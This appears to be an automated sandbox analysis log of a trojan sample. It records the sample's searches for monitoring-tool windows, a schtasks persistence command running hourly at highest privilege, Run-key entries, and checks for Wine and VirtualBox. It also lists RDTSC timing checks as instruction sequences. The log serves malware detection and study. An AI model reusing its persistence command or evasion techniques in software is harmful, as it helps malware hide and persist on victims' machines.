Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

File created: C:\Windows\Tasks\explorha.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ad0e9cf6d6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ad0e9cf6d6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-10176
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_1-10639

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF73E4 second address: CF73F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F3620DECF86h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF73F1 second address: CF73F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF73F5 second address: CF73FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF73FB second address: CF7405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F3620BBB046h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF7405 second address: CF742B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F3620DECF8Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3620DECF92h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF742B second address: CF742F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF76AB second address: CF76B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3620DECF86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF76B5 second address: CF76C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3620BBB04Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF76C9 second address: CF76CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF7854 second address: CF785E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3620BBB046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF785E second address: CF787A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F3620DECF86h 0x00000009 jmp 00007F3620DECF91h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF787A second address: CF7884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF79D8 second address: CF7A04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F59Bh 0x00000007 jbe 00007F362081F596h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F362081F5A4h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF7B71 second address: CF7B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF7B75 second address: CF7B7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF7B7B second address: CF7BAA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jne 00007F3620DC90F6h 0x00000009 pop edx 0x0000000a jmp 00007F3620DC9101h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3620DC9100h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF7BAA second address: CF7BB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF7D28 second address: CF7D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F3620DC9102h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF7D40 second address: CF7D44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF7D44 second address: CF7D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F3620DC90FEh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CF7D5C second address: CF7D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB17F second address: CFB189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3620DC90F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB189 second address: CFB18D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB2A2 second address: CFB2CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F3620DC910Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB2CA second address: CFB2EA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F362081F5A5h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
